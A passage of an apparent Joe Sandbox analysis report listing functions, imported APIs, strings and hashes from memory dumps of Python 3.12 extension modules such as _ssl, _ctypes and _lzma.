PyWeakref_NewRef.PYTHON312(?,?,00007FFDFB54D250,?,?,?,00000000,00007FFE11EC7349), ref: 00007FFE11ECBE36
_Py_Dealloc.PYTHON312(?,?,00007FFDFB54D250,?,?,?,00000000,00007FFE11EC7349), ref: 00007FFE11ECBE83
PyObject_GC_Track.PYTHON312(?,?,00007FFDFB54D250,?,?,?,00000000,00007FFE11EC7349), ref: 00007FFE11ECBEBA

Strings

Cannot create a client socket with a PROTOCOL_TLS_SERVER context, xrefs: 00007FFE11ECBC2E
Cannot create a server socket with a PROTOCOL_TLS_CLIENT context, xrefs: 00007FFE11ECBBE8

Memory Dump Source

Source File: 00000001.00000002.2090014963.00007FFE11EC1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFE11EC0000, based on PE: true

Associated: 00000001.00000002.2089995664.00007FFE11EC0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090035870.00007FFE11ECD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090060351.00007FFE11EE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090079121.00007FFE11EE1000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090097048.00007FFE11EE7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090115365.00007FFE11EE9000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ec0000_file.jbxd

Similarity

API ID: Eval_Thread$DeallocO_ctrlO_up_refObject_RestoreSave$L_ctrlL_get0_paramL_get_rbioL_get_verify_callbackL_get_verify_modeL_get_wbioL_newL_set_accept_stateL_set_bioL_set_connect_stateL_set_ex_dataL_set_fdL_set_post_handshake_authL_set_verifyM_set_hostflagsR_clear_errorTrackWeakref_X509_
String ID: Cannot create a client socket with a PROTOCOL_TLS_SERVER context$Cannot create a server socket with a PROTOCOL_TLS_CLIENT context
API String ID: 4263894999-1683031804
Opcode ID: d7b34b0a5d2e0d605662c30fb6a15d84296a4b9919dcdd24e1e033106aee8baa
Instruction ID: b118458ab25842493de2e8dc86e6f5a5a1542035cb8efbb09af6e12ac9ac17d1
Opcode Fuzzy Hash: d7b34b0a5d2e0d605662c30fb6a15d84296a4b9919dcdd24e1e033106aee8baa
Instruction Fuzzy Hash: 0BA13836A08E4286EB649FA7EC4466F63A8FB94BA0B844071DE4E03774DF3EF4459740

Function 00007FFE11EC8D64 Relevance: 31.7, APIs: 14, Strings: 4, Instructions: 171threadCOMMON

Download Yara Rule

APIs

PyWeakref_GetObject.PYTHON312 ref: 00007FFE11EC8D90
SSL_get_rbio.LIBSSL-3 ref: 00007FFE11EC8DEF
BIO_ctrl.LIBCRYPTO-3 ref: 00007FFE11EC8E04
SSL_get_wbio.LIBSSL-3 ref: 00007FFE11EC8E0E
BIO_ctrl.LIBCRYPTO-3 ref: 00007FFE11EC8E1F
_PyDeadline_Init.PYTHON312 ref: 00007FFE11EC8E3A

Part of subcall function 00007FFE11EC6598: ERR_peek_last_error.LIBCRYPTO-3 ref: 00007FFE11EC65B0
Part of subcall function 00007FFE11EC6598: ERR_clear_error.LIBCRYPTO-3 ref: 00007FFE11EC65D9

PyEval_SaveThread.PYTHON312 ref: 00007FFE11EC8E53
SSL_do_handshake.LIBSSL-3 ref: 00007FFE11EC8E60
PyEval_RestoreThread.PYTHON312 ref: 00007FFE11EC8E9F
PyErr_CheckSignals.PYTHON312 ref: 00007FFE11EC8EB6
_PyDeadline_Get.PYTHON312 ref: 00007FFE11EC8ECE
_Py_Dealloc.PYTHON312 ref: 00007FFE11EC8F32
PyErr_SetString.PYTHON312 ref: 00007FFE11EC8F70
_Py_Dealloc.PYTHON312 ref: 00007FFE11EC8F88

Strings

_ssl.c:991: Underlying socket too large for select()., xrefs: 00007FFE11EC8F54
_ssl.c:987: Underlying socket has been closed., xrefs: 00007FFE11EC8F5D
Underlying socket connection gone, xrefs: 00007FFE11EC8DBA
_ssl.c:983: The handshake operation timed out, xrefs: 00007FFE11EC8FB7

Memory Dump Source

Source File: 00000001.00000002.2090014963.00007FFE11EC1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFE11EC0000, based on PE: true

Associated: 00000001.00000002.2089995664.00007FFE11EC0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090035870.00007FFE11ECD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090060351.00007FFE11EE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090079121.00007FFE11EE1000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090097048.00007FFE11EE7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090115365.00007FFE11EE9000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ec0000_file.jbxd

Similarity

API ID: Deadline_DeallocErr_Eval_O_ctrlThread$CheckInitL_do_handshakeL_get_rbioL_get_wbioObjectR_clear_errorR_peek_last_errorRestoreSaveSignalsStringWeakref_
String ID: Underlying socket connection gone$_ssl.c:983: The handshake operation timed out$_ssl.c:987: Underlying socket has been closed.$_ssl.c:991: Underlying socket too large for select().
API String ID: 3614085790-1145532335
Opcode ID: 2a2fc378391615102e05e0459d1ac40276342dd4846b43765815e56d16aa5ae9
Instruction ID: f1a046605e9e5c1ea42266993302af6813293079f6b7e3db907b01ddf9b2666b
Opcode Fuzzy Hash: 2a2fc378391615102e05e0459d1ac40276342dd4846b43765815e56d16aa5ae9
Instruction Fuzzy Hash: 34616021A08E4685EB609BA79D40A7F63A9BF85BB4F940471DE0E47774DE3DF481C740

Function 00007FFE1338531C Relevance: 30.2, APIs: 20, Instructions: 167COMMON

Download Yara Rule

APIs

PyType_FromMetaclass.PYTHON312(?,?,00000000,00007FFE133852F8,?,?,?,00007FFE13385280), ref: 00007FFE1338534A
PyType_FromMetaclass.PYTHON312(?,?,00000000,00007FFE133852F8,?,?,?,00007FFE13385280), ref: 00007FFE1338536F
PyType_Ready.PYTHON312(?,?,00000000,00007FFE133852F8,?,?,?,00007FFE13385280), ref: 00007FFE1338538F
PyType_Ready.PYTHON312(?,?,00000000,00007FFE133852F8,?,?,?,00007FFE13385280), ref: 00007FFE133853B2
PyType_Ready.PYTHON312(?,?,00000000,00007FFE133852F8,?,?,?,00007FFE13385280), ref: 00007FFE133853D8
PyType_Ready.PYTHON312(?,?,00000000,00007FFE133852F8,?,?,?,00007FFE13385280), ref: 00007FFE133853FE
PyType_Ready.PYTHON312(?,?,00000000,00007FFE133852F8,?,?,?,00007FFE13385280), ref: 00007FFE13385424
PyType_Ready.PYTHON312(?,?,00000000,00007FFE133852F8,?,?,?,00007FFE13385280), ref: 00007FFE1338544A
PyType_Ready.PYTHON312(?,?,00000000,00007FFE133852F8,?,?,?,00007FFE13385280), ref: 00007FFE13385470
PyType_Ready.PYTHON312(?,?,00000000,00007FFE133852F8,?,?,?,00007FFE13385280), ref: 00007FFE13385496
PyModule_AddType.PYTHON312(?,?,00000000,00007FFE133852F8,?,?,?,00007FFE13385280), ref: 00007FFE133854BC
PyModule_AddType.PYTHON312(?,?,00000000,00007FFE133852F8,?,?,?,00007FFE13385280), ref: 00007FFE133854E2
PyModule_AddType.PYTHON312(?,?,00000000,00007FFE133852F8,?,?,?,00007FFE13385280), ref: 00007FFE13385508
PyModule_AddType.PYTHON312(?,?,00000000,00007FFE133852F8,?,?,?,00007FFE13385280), ref: 00007FFE1338552E
PyModule_AddType.PYTHON312(?,?,00000000,00007FFE133852F8,?,?,?,00007FFE13385280), ref: 00007FFE13385554
PyModule_AddType.PYTHON312(?,?,00000000,00007FFE133852F8,?,?,?,00007FFE13385280), ref: 00007FFE1338557A
PyType_FromMetaclass.PYTHON312(?,?,00000000,00007FFE133852F8,?,?,?,00007FFE13385280), ref: 00007FFE13385597
PyType_FromMetaclass.PYTHON312(?,?,00000000,00007FFE133852F8,?,?,?,00007FFE13385280), ref: 00007FFE133855BC
PyType_FromMetaclass.PYTHON312(?,?,00000000,00007FFE133852F8,?,?,?,00007FFE13385280), ref: 00007FFE133855DD
PyType_FromMetaclass.PYTHON312(?,?,00000000,00007FFE133852F8,?,?,?,00007FFE13385280), ref: 00007FFE13385605

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Type_$Ready$FromMetaclassModule_Type
String ID:
API String ID: 1256463225-0
Opcode ID: 765378463504f940dcba79ddf9cfd2f032212b196e3719973d976d2d79489232
Instruction ID: 318d9f42d2f75ab7d7a6f31bb9563676037f3b0e978687749dc59dabea3cda94
Opcode Fuzzy Hash: 765378463504f940dcba79ddf9cfd2f032212b196e3719973d976d2d79489232
Instruction Fuzzy Hash: 86819820E08F43D9FB149F13B88457667A6BF64BA4B8412B9C96EB6774DF3CE0459308

Function 00007FFE11EC5218 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFE11EC2108: OBJ_obj2txt.LIBCRYPTO-3 ref: 00007FFE11EC214D
Part of subcall function 00007FFE11EC2108: PyUnicode_FromStringAndSize.PYTHON312 ref: 00007FFE11EC2173

ASN1_STRING_type.LIBCRYPTO-3(?,?,?,?,00000000,00007FFE11EC50ED), ref: 00007FFE11EC525C
ASN1_STRING_length.LIBCRYPTO-3(?,?,?,?,00000000,00007FFE11EC50ED), ref: 00007FFE11EC526A
ASN1_STRING_get0_data.LIBCRYPTO-3(?,?,?,?,00000000,00007FFE11EC50ED), ref: 00007FFE11EC5276
_Py_BuildValue_SizeT.PYTHON312(?,?,?,?,00000000,00007FFE11EC50ED), ref: 00007FFE11EC528C

Part of subcall function 00007FFE11EC6598: ERR_peek_last_error.LIBCRYPTO-3 ref: 00007FFE11EC65B0
Part of subcall function 00007FFE11EC6598: ERR_clear_error.LIBCRYPTO-3 ref: 00007FFE11EC65D9

Strings

Ny#, xrefs: 00007FFE11EC527F
Ns#, xrefs: 00007FFE11EC52E5
D:\a\1\s\Modules\_ssl.c, xrefs: 00007FFE11EC52FA

Memory Dump Source

Source File: 00000001.00000002.2090014963.00007FFE11EC1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFE11EC0000, based on PE: true

Associated: 00000001.00000002.2089995664.00007FFE11EC0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090035870.00007FFE11ECD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090060351.00007FFE11EE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090079121.00007FFE11EE1000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090097048.00007FFE11EE7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090115365.00007FFE11EE9000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ec0000_file.jbxd

Similarity

API ID: Size$BuildFromG_get0_dataG_lengthG_typeJ_obj2txtR_clear_errorR_peek_last_errorStringUnicode_Value_
String ID: D:\a\1\s\Modules\_ssl.c$Ns#$Ny#
API String ID: 264388756-3706530764
Opcode ID: 4732ec129086ed91732c68f4ad551715db4fc4594bcd94c192421b99f76ef898
Instruction ID: 647bb09fb7e29980e21f76062e2ee337bbff32be2634ea2322ebe0f287532c69
Opcode Fuzzy Hash: 4732ec129086ed91732c68f4ad551715db4fc4594bcd94c192421b99f76ef898
Instruction Fuzzy Hash: 5F214B21A18A5282EB148B97AC4477FA3A9BF89BE4FC44470EE4D46B74EF6DF1458700

Function 00007FFE13386534 Relevance: 13.6, APIs: 9, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FFE13386550
memset.VCRUNTIME140 ref: 00007FFE13386574
RtlCaptureContext.KERNEL32 ref: 00007FFE1338657D
RtlLookupFunctionEntry.KERNEL32 ref: 00007FFE13386597
RtlVirtualUnwind.KERNEL32 ref: 00007FFE133865D8
memset.VCRUNTIME140 ref: 00007FFE1338660B
IsDebuggerPresent.KERNEL32 ref: 00007FFE1338662C
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FFE13386649
UnhandledExceptionFilter.KERNEL32 ref: 00007FFE13386654

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandledmemset$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 313767242-0
Opcode ID: 8d382084d57315bd518bbc3a65f306ec522c5d0871fdf27954616783f8bb6961
Instruction ID: 481d5597d72e4ceedf74be0ee67f07ace4cedd2b9cbc1bd9019ee34d1284457a
Opcode Fuzzy Hash: 8d382084d57315bd518bbc3a65f306ec522c5d0871fdf27954616783f8bb6961
Instruction Fuzzy Hash: 38314A72A09F818AEB608F62E8407ED7361FB94764F04417ADB5E67BA9DF3CD1488704

Function 00007FFE13211AA0 Relevance: 13.6, APIs: 9, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FFE13211ABC
memset.VCRUNTIME140 ref: 00007FFE13211AE0
RtlCaptureContext.KERNEL32 ref: 00007FFE13211AE9
RtlLookupFunctionEntry.KERNEL32 ref: 00007FFE13211B03
RtlVirtualUnwind.KERNEL32 ref: 00007FFE13211B44
memset.VCRUNTIME140 ref: 00007FFE13211B77
IsDebuggerPresent.KERNEL32 ref: 00007FFE13211B98
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FFE13211BB5
UnhandledExceptionFilter.KERNEL32 ref: 00007FFE13211BC0

Memory Dump Source

Source File: 00000001.00000002.2090152512.00007FFE13211000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FFE13210000, based on PE: true

Associated: 00000001.00000002.2090134264.00007FFE13210000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2090170248.00007FFE13213000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2090189636.00007FFE13215000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2090208895.00007FFE13216000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13210000_file.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandledmemset$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 313767242-0
Opcode ID: 99395305cdb11cdb041beb820624a25ea4585affacafc0dcd255409337a1a2bc
Instruction ID: d0f56b93cf529f3b4ebe39946cbe112b1ab2d4275129959cc5aa12f075675516
Opcode Fuzzy Hash: 99395305cdb11cdb041beb820624a25ea4585affacafc0dcd255409337a1a2bc
Instruction Fuzzy Hash: 56317272608F8189EB609F61E8403ED73A1FB94754F444079DB4E57BAAEF38D648C700

Function 00007FFE11EAAA7C Relevance: 13.6, APIs: 9, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FFE11EAAA98
memset.VCRUNTIME140 ref: 00007FFE11EAAABC
RtlCaptureContext.KERNEL32 ref: 00007FFE11EAAAC5
RtlLookupFunctionEntry.KERNEL32 ref: 00007FFE11EAAADF
RtlVirtualUnwind.KERNEL32 ref: 00007FFE11EAAB20
memset.VCRUNTIME140 ref: 00007FFE11EAAB53
IsDebuggerPresent.KERNEL32 ref: 00007FFE11EAAB74
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FFE11EAAB91
UnhandledExceptionFilter.KERNEL32 ref: 00007FFE11EAAB9C

Memory Dump Source

Source File: 00000001.00000002.2089915841.00007FFE11EA1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFE11EA0000, based on PE: true

Associated: 00000001.00000002.2089896834.00007FFE11EA0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000001.00000002.2089938398.00007FFE11EAE000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000001.00000002.2089958025.00007FFE11EB2000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000001.00000002.2089976007.00007FFE11EB3000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ea0000_file.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandledmemset$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 313767242-0
Opcode ID: 012467218d5544a4534461b4b62cf789c3f5b00e1029445c7606c465824eddd2
Instruction ID: 8725487ab1359a0ab8b9cd44c6c9b19c8dbf5a0b5337de35c6826e10b4c56ec1
Opcode Fuzzy Hash: 012467218d5544a4534461b4b62cf789c3f5b00e1029445c7606c465824eddd2
Instruction Fuzzy Hash: 3B311C76608F8186EB608FA1F8903EA7369FB84754F44447ADA4E47BA4DF3CD648C710

Function 00007FFE10253E60 Relevance: 13.6, APIs: 9, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FFE10253E7C
memset.VCRUNTIME140 ref: 00007FFE10253EA0
RtlCaptureContext.KERNEL32 ref: 00007FFE10253EA9
RtlLookupFunctionEntry.KERNEL32 ref: 00007FFE10253EC3
RtlVirtualUnwind.KERNEL32 ref: 00007FFE10253F04
memset.VCRUNTIME140 ref: 00007FFE10253F37
IsDebuggerPresent.KERNEL32 ref: 00007FFE10253F58
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FFE10253F75
UnhandledExceptionFilter.KERNEL32 ref: 00007FFE10253F80

Memory Dump Source

Source File: 00000001.00000002.2089791994.00007FFE10241000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FFE10240000, based on PE: true

Associated: 00000001.00000002.2089773823.00007FFE10240000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089815185.00007FFE10258000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089815185.00007FFE1025C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089856736.00007FFE10264000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089876376.00007FFE10265000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe10240000_file.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandledmemset$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 313767242-0
Opcode ID: 3d249a4d3ec741f06bccba3fca43a7136d5c4f0ed13e34deacf6695f45bbc58d
Instruction ID: e7420d662d1b5f176a1820d4f0ed5cf35ba402022a67cf145b034b06e687cf42
Opcode Fuzzy Hash: 3d249a4d3ec741f06bccba3fca43a7136d5c4f0ed13e34deacf6695f45bbc58d
Instruction Fuzzy Hash: 21312CB2609F818AEB608F61E8403ED7760FB84754F44407ADB4E57BA6EF78D548C714

Function 00007FFE11EC4F60 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 29COMMON

Download Yara Rule

APIs

i2d_X509.LIBCRYPTO-3 ref: 00007FFE11EC4F7A
PyBytes_FromStringAndSize.PYTHON312 ref: 00007FFE11EC4FA5
CRYPTO_free.LIBCRYPTO-3 ref: 00007FFE11EC4FC0

Part of subcall function 00007FFE11EC6598: ERR_peek_last_error.LIBCRYPTO-3 ref: 00007FFE11EC65B0
Part of subcall function 00007FFE11EC6598: ERR_clear_error.LIBCRYPTO-3 ref: 00007FFE11EC65D9

Strings

D:\a\1\s\Modules\_ssl.c, xrefs: 00007FFE11EC4FB0

Memory Dump Source

Source File: 00000001.00000002.2090014963.00007FFE11EC1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFE11EC0000, based on PE: true

Associated: 00000001.00000002.2089995664.00007FFE11EC0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090035870.00007FFE11ECD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090060351.00007FFE11EE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090079121.00007FFE11EE1000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090097048.00007FFE11EE7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090115365.00007FFE11EE9000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ec0000_file.jbxd

Similarity

API ID: Bytes_FromO_freeR_clear_errorR_peek_last_errorSizeStringX509i2d_
String ID: D:\a\1\s\Modules\_ssl.c
API String ID: 2720122973-132925792
Opcode ID: b66eeea7f1de0652cb560c0117ef5806f276d9e9c61454d33aa0661b5e1ef13e
Instruction ID: 9aa97de806a46a8c114493fdcab90d5ef5249cce6389e25133fabc661463d439
Opcode Fuzzy Hash: b66eeea7f1de0652cb560c0117ef5806f276d9e9c61454d33aa0661b5e1ef13e
Instruction Fuzzy Hash: A4F06D55B18A4282EF009BA7EC0877BA356BF88BA1F445571DD4D47724DFBEF1458B00

Function 00007FFE13390220 Relevance: 3.0, APIs: 2, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FFE1338D979,?,?,?,?,?,00007FFE1338707C), ref: 00007FFE13390235
VirtualAlloc.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FFE1338D979,?,?,?,?,?,00007FFE1338707C), ref: 00007FFE13390275

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: AllocInfoSystemVirtual
String ID:
API String ID: 3440192736-0
Opcode ID: 7841fc0811ddc70940cec7e71692af3b35909fd55335027301ef79d93d4eca38
Instruction ID: 0964c45dcbb741cd66b1fcbcd080988185d97805899f302f012b39eebd373f44
Opcode Fuzzy Hash: 7841fc0811ddc70940cec7e71692af3b35909fd55335027301ef79d93d4eca38
Instruction Fuzzy Hash: 96018B35F19A46CBEE14CF56A44127463D66F69FA0B444079C9DE6A374DE2CE4058704

Function 00007FFE1338563C Relevance: 115.9, APIs: 46, Strings: 20, Instructions: 356COMMON

Download Yara Rule

APIs

PyModule_AddObjectRef.PYTHON312(?,?,00000000,00007FFE13385304,?,?,?,00007FFE13385280), ref: 00007FFE1338566D

Strings

FUNCFLAG_HRESULT, xrefs: 00007FFE133856E2
__version__, xrefs: 00007FFE1338582B
FUNCFLAG_USE_LASTERROR, xrefs: 00007FFE133857BB
COMError, xrefs: 00007FFE133856A2
_string_at_addr, xrefs: 00007FFE133858F1
_wstring_at_addr, xrefs: 00007FFE13385975
FUNCFLAG_PYTHONAPI, xrefs: 00007FFE133857F2
CTYPES_MAX_ARGCOUNT, xrefs: 00007FFE13385A1D
_memset_addr, xrefs: 00007FFE133858AF
FUNCFLAG_USE_ERRNO, xrefs: 00007FFE13385784
RTLD_GLOBAL, xrefs: 00007FFE133859E6
SIZEOF_TIME_T, xrefs: 00007FFE13385A91
RTLD_LOCAL, xrefs: 00007FFE133859B2
_cast_addr, xrefs: 00007FFE13385933
FUNCFLAG_CDECL, xrefs: 00007FFE1338574D
1.1.0, xrefs: 00007FFE1338580F
_pointer_type_cache, xrefs: 00007FFE13385666
ArgumentError, xrefs: 00007FFE13385A56
_memmove_addr, xrefs: 00007FFE1338586D
FUNCFLAG_STDCALL, xrefs: 00007FFE13385716

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Module_Object
String ID: 1.1.0$ArgumentError$COMError$CTYPES_MAX_ARGCOUNT$FUNCFLAG_CDECL$FUNCFLAG_HRESULT$FUNCFLAG_PYTHONAPI$FUNCFLAG_STDCALL$FUNCFLAG_USE_ERRNO$FUNCFLAG_USE_LASTERROR$RTLD_GLOBAL$RTLD_LOCAL$SIZEOF_TIME_T$__version__$_cast_addr$_memmove_addr$_memset_addr$_pointer_type_cache$_string_at_addr$_wstring_at_addr
API String ID: 3061622016-2216286708
Opcode ID: ee2abef66b3e65ba290b1dc2cb2f463cc8398f25827dc458a4aa23848571fb8d
Instruction ID: 8292d93cd424f0a5d44ca8ce7a253a8cb1877ed125f22235d4cc151a412792d6
Opcode Fuzzy Hash: ee2abef66b3e65ba290b1dc2cb2f463cc8398f25827dc458a4aa23848571fb8d
Instruction Fuzzy Hash: 51E1FE21E0DF43CEFA125B1794502BD22A5AF65FA1F1442F9C92F75AF9DE2CE0849309

Function 00007FFE102527C0 Relevance: 73.7, APIs: 12, Strings: 30, Instructions: 229COMMON

Download Yara Rule

APIs

PyModule_GetState.PYTHON312 ref: 00007FFE102527D7
PyTuple_New.PYTHON312 ref: 00007FFE102527E2
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE10252804
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE10252820
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE1025283C
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE10252858

Part of subcall function 00007FFE10252BA4: PyLong_FromLongLong.PYTHON312(?,?,?,00007FFE10252878), ref: 00007FFE10252BBC
Part of subcall function 00007FFE10252BA4: PyModule_AddObject.PYTHON312(?,?,?,00007FFE10252878), ref: 00007FFE10252BD3

PyErr_NewExceptionWithDoc.PYTHON312 ref: 00007FFE10252B09
PyModule_AddType.PYTHON312 ref: 00007FFE10252B22
PyType_FromModuleAndSpec.PYTHON312 ref: 00007FFE10252B39
PyModule_AddType.PYTHON312 ref: 00007FFE10252B4D
PyType_FromModuleAndSpec.PYTHON312 ref: 00007FFE10252B64
PyModule_AddType.PYTHON312 ref: 00007FFE10252B79

Strings

FILTER_ARM, xrefs: 00007FFE1025299C
PRESET_DEFAULT, xrefs: 00007FFE10252AC4
FORMAT_AUTO, xrefs: 00007FFE102527FA
Call to liblzma failed., xrefs: 00007FFE10252AF8
FORMAT_XZ, xrefs: 00007FFE10252819
FILTER_POWERPC, xrefs: 00007FFE102529ED
FILTER_ARMTHUMB, xrefs: 00007FFE102529B7
FILTER_X86, xrefs: 00007FFE10252963
CHECK_SHA256, xrefs: 00007FFE102528BF
MODE_NORMAL, xrefs: 00007FFE10252AA9
CHECK_CRC64, xrefs: 00007FFE102528A4
CHECK_ID_MAX, xrefs: 00007FFE102528DA
FILTER_LZMA2, xrefs: 00007FFE10252931
FILTER_IA64, xrefs: 00007FFE10252981
PRESET_EXTREME, xrefs: 00007FFE10252ADE
MODE_FAST, xrefs: 00007FFE10252A8E
CHECK_NONE, xrefs: 00007FFE10252869
FILTER_DELTA, xrefs: 00007FFE1025294C
